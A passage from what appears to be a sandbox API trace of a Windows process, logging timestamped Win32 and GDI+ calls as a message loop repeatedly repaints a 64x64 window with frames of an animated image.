x1=0, y1=0, rop=0xcc0020) returned 1 [0152.941] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0152.941] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x160106f8) returned 0x0 [0152.941] SelectObject (hdc=0x160106f8, h=0x185000f) returned 0x1a05067e [0152.941] DeleteDC (hdc=0x160106f8) returned 1 [0152.942] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0152.942] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0152.942] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0152.942] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0152.942] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0152.942] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0152.942] WaitMessage () returned 1 [0153.118] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0153.119] IsWindowUnicode (hWnd=0x2031e) returned 1 [0153.119] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0153.119] TranslateMessage (lpMsg=0x15e910) returned 0 [0153.119] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0153.119] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0153.119] GetCurrentThreadId () returned 0xec0 [0153.119] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0153.119] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0153.119] IsWindowUnicode (hWnd=0x2031e) returned 1 [0153.119] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0153.119] TranslateMessage (lpMsg=0x15e910) returned 0 [0153.119] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0153.119] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0153.119] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0153.120] CreateCompatibleDC (hdc=0x3010b83) returned 0x170106f8 [0153.120] SelectObject (hdc=0x170106f8, h=0x1a05067e) returned 0x185000f [0153.120] GdipCreateFromHDC (hdc=0x170106f8, graphics=0x15daf0) returned 0x0 [0153.120] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0153.120] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0153.120] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0153.120] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0153.120] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0153.120] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0153.120] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0153.121] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0153.121] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0153.121] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0153.121] GdipCreateRegion (region=0x15dc20) returned 0x0 [0153.121] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0153.121] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0153.121] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0153.121] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0153.122] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0153.122] GetSystemMetrics (nIndex=42) returned 0 [0153.122] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0153.122] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0153.122] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0153.122] CoTaskMemFree (pv=0x1e91eca0) [0153.122] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0153.122] GdipCreateRegion (region=0x15d710) returned 0x0 [0153.122] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0153.122] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0153.122] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0153.122] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0153.122] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0153.122] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0153.123] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0153.123] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0153.123] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0153.123] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0153.123] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0153.124] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0153.124] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0153.124] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0153.124] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0153.124] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0153.124] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0153.124] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0153.124] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0153.124] GetCurrentObject (hdc=0x170106f8, type=0x1) returned 0x1b00017 [0153.124] GetCurrentObject (hdc=0x170106f8, type=0x2) returned 0x1900010 [0153.124] GetCurrentObject (hdc=0x170106f8, type=0x7) returned 0x1a05067e [0153.125] GetCurrentObject (hdc=0x170106f8, type=0x6) returned 0x18a002e [0153.125] SaveDC (hdc=0x170106f8) returned 1 [0153.125] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x407c3 [0153.125] GetClipRgn (hdc=0x170106f8, hrgn=0x407c3) returned 0 [0153.125] SelectClipRgn (hdc=0x170106f8, hrgn=0xffffffffd0040b8a) returned 2 [0153.125] DeleteObject (ho=0x407c3) returned 1 [0153.125] DeleteObject (ho=0xffffffffd0040b8a) returned 1 [0153.125] OffsetViewportOrgEx (in: hdc=0x170106f8, x=0, y=0, lppt=0x27037d0 | out: lppt=0x27037d0) returned 1 [0153.125] GetNearestColor (hdc=0x170106f8, color=0xffffff) returned 0xffffff [0153.125] CreateSolidBrush (color=0xffffff) returned 0xffffffffd8100190 [0153.125] FillRect (hDC=0x170106f8, lprc=0x15d7c0, hbr=0xffffffffd8100190) returned 1 [0153.125] DeleteObject (ho=0xffffffffd8100190) returned 1 [0153.126] RestoreDC (hdc=0x170106f8, nSavedDC=-1) returned 1 [0153.126] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0153.126] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x170106f8) returned 0x0 [0153.126] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc360dbd) returned 0x0 [0153.126] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0153.126] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0153.126] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0153.126] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0153.126] GetSystemMetrics (nIndex=42) returned 0 [0153.126] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0153.126] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0153.126] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0153.126] CoTaskMemFree (pv=0x1e91eca0) [0153.126] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0153.127] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0153.127] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0153.127] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0153.127] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x170106f8, x1=0, y1=0, rop=0xcc0020) returned 1 [0153.127] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0153.127] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x170106f8) returned 0x0 [0153.127] SelectObject (hdc=0x170106f8, h=0x185000f) returned 0x1a05067e [0153.127] DeleteDC (hdc=0x170106f8) returned 1 [0153.127] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0153.127] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0153.127] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0153.127] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0153.128] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0153.128] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0153.128] WaitMessage () returned 1 [0153.337] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0153.337] IsWindowUnicode (hWnd=0x2031e) returned 1 [0153.337] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0153.337] TranslateMessage (lpMsg=0x15e910) returned 0 [0153.337] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0153.337] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0153.338] GetCurrentThreadId () returned 0xec0 [0153.338] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0153.338] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0153.338] IsWindowUnicode (hWnd=0x2031e) returned 1 [0153.338] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0153.338] TranslateMessage (lpMsg=0x15e910) returned 0 [0153.338] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0153.338] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0153.338] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0153.338] CreateCompatibleDC (hdc=0x3010b83) returned 0x17010b93 [0153.339] SelectObject (hdc=0x17010b93, h=0x1a05067e) returned 0x185000f [0153.339] GdipCreateFromHDC (hdc=0x17010b93, graphics=0x15daf0) returned 0x0 [0153.339] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0153.339] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0153.339] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0153.339] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0153.339] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0153.339] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0153.339] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0153.340] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0153.340] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0153.340] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0153.340] GdipCreateRegion (region=0x15dc20) returned 0x0 [0153.340] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0153.340] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0153.340] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0153.341] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0153.341] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0153.341] GetSystemMetrics (nIndex=42) returned 0 [0153.341] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0153.341] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0153.341] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0153.341] CoTaskMemFree (pv=0x1e91eca0) [0153.341] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0153.341] GdipCreateRegion (region=0x15d710) returned 0x0 [0153.341] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0153.341] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0153.341] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0153.341] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0153.342] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0153.342] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0153.342] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0153.342] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0153.342] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0153.342] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0153.343] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0153.343] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0153.343] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0153.343] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0153.343] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0153.343] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0153.343] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0153.343] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0153.344] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0153.344] GetCurrentObject (hdc=0x17010b93, type=0x1) returned 0x1b00017 [0153.344] GetCurrentObject (hdc=0x17010b93, type=0x2) returned 0x1900010 [0153.344] GetCurrentObject (hdc=0x17010b93, type=0x7) returned 0x1a05067e [0153.344] GetCurrentObject (hdc=0x17010b93, type=0x6) returned 0x18a002e [0153.344] SaveDC (hdc=0x17010b93) returned 1 [0153.344] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffd1040b8a [0153.344] GetClipRgn (hdc=0x17010b93, hrgn=0xffffffffd1040b8a) returned 0 [0153.344] SelectClipRgn (hdc=0x17010b93, hrgn=0x10407c3) returned 2 [0153.344] DeleteObject (ho=0xffffffffd1040b8a) returned 1 [0153.344] DeleteObject (ho=0x10407c3) returned 1 [0153.345] OffsetViewportOrgEx (in: hdc=0x17010b93, x=0, y=0, lppt=0x2704108 | out: lppt=0x2704108) returned 1 [0153.345] GetNearestColor (hdc=0x17010b93, color=0xffffff) returned 0xffffff [0153.345] CreateSolidBrush (color=0xffffff) returned 0xffffffffd9100190 [0153.345] FillRect (hDC=0x17010b93, lprc=0x15d7c0, hbr=0xffffffffd9100190) returned 1 [0153.345] DeleteObject (ho=0xffffffffd9100190) returned 1 [0153.345] RestoreDC (hdc=0x17010b93, nSavedDC=-1) returned 1 [0153.345] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0153.345] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x17010b93) returned 0x0 [0153.345] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc340dbd) returned 0x0 [0153.345] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0153.345] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0153.345] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0153.346] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0153.346] GetSystemMetrics (nIndex=42) returned 0 [0153.346] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0153.346] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0153.346] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0153.346] CoTaskMemFree (pv=0x1e91eca0) [0153.346] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0xc) returned 0x0 [0153.348] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0153.348] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0153.348] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0153.348] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0153.348] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x17010b93, x1=0, y1=0, rop=0xcc0020) returned 1 [0153.349] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0153.349] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x17010b93) returned 0x0 [0153.349] SelectObject (hdc=0x17010b93, h=0x185000f) returned 0x1a05067e [0153.349] DeleteDC (hdc=0x17010b93) returned 1 [0153.349] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0153.349] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0153.349] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0153.349] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0153.349] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0153.349] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0153.349] WaitMessage () returned 1 [0153.509] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0153.509] IsWindowUnicode (hWnd=0x2031e) returned 1 [0153.509] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0153.509] TranslateMessage (lpMsg=0x15e910) returned 0 [0153.509] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0153.509] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0153.509] GetCurrentThreadId () returned 0xec0 [0153.509] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0153.509] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0153.509] IsWindowUnicode (hWnd=0x2031e) returned 1 [0153.509] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0153.509] TranslateMessage (lpMsg=0x15e910) returned 0 [0153.509] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0153.509] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0153.510] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0153.510] CreateCompatibleDC (hdc=0x3010b83) returned 0x18010b93 [0153.510] SelectObject (hdc=0x18010b93, h=0x1a05067e) returned 0x185000f [0153.510] GdipCreateFromHDC (hdc=0x18010b93, graphics=0x15daf0) returned 0x0 [0153.510] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0153.510] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0153.511] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0153.511] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0153.511] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0153.511] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0153.511] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0153.511] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0153.512] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0153.512] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0153.512] GdipCreateRegion (region=0x15dc20) returned 0x0 [0153.512] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0153.512] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0153.512] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0153.512] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0153.512] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0153.512] GetSystemMetrics (nIndex=42) returned 0 [0153.512] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0153.512] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0153.512] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0153.513] CoTaskMemFree (pv=0x1e91eca0) [0153.513] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0153.513] GdipCreateRegion (region=0x15d710) returned 0x0 [0153.513] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0153.513] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0153.513] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0153.513] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0153.513] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0153.513] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0153.514] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0153.514] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0153.514] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0153.514] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0153.515] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0153.515] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0153.515] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0153.515] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0153.515] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0153.515] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0153.515] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0153.515] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0153.515] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0153.515] GetCurrentObject (hdc=0x18010b93, type=0x1) returned 0x1b00017 [0153.515] GetCurrentObject (hdc=0x18010b93, type=0x2) returned 0x1900010 [0153.516] GetCurrentObject (hdc=0x18010b93, type=0x7) returned 0x1a05067e [0153.516] GetCurrentObject (hdc=0x18010b93, type=0x6) returned 0x18a002e [0153.516] SaveDC (hdc=0x18010b93) returned 1 [0153.516] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x20407c3 [0153.516] GetClipRgn (hdc=0x18010b93, hrgn=0x20407c3) returned 0 [0153.516] SelectClipRgn (hdc=0x18010b93, hrgn=0xffffffffd2040b8a) returned 2 [0153.516] DeleteObject (ho=0x20407c3) returned 1 [0153.516] DeleteObject (ho=0xffffffffd2040b8a) returned 1 [0153.516] OffsetViewportOrgEx (in: hdc=0x18010b93, x=0, y=0, lppt=0x2705428 | out: lppt=0x2705428) returned 1 [0153.516] GetNearestColor (hdc=0x18010b93, color=0xffffff) returned 0xffffff [0153.517] CreateSolidBrush (color=0xffffff) returned 0xffffffffda100190 [0153.517] FillRect (hDC=0x18010b93, lprc=0x15d7c0, hbr=0xffffffffda100190) returned 1 [0153.517] DeleteObject (ho=0xffffffffda100190) returned 1 [0153.517] RestoreDC (hdc=0x18010b93, nSavedDC=-1) returned 1 [0153.517] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0153.517] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x18010b93) returned 0x0 [0153.517] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffc320dbd) returned 0x0 [0153.517] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0153.517] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0153.518] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0153.518] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0153.518] GetSystemMetrics (nIndex=42) returned 0 [0153.518] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0153.518] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0153.518] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0153.518] CoTaskMemFree (pv=0x1e91eca0) [0153.518] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0153.518] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0153.518] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0153.518] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0153.518] BitBlt (hdc=0x3010b83, 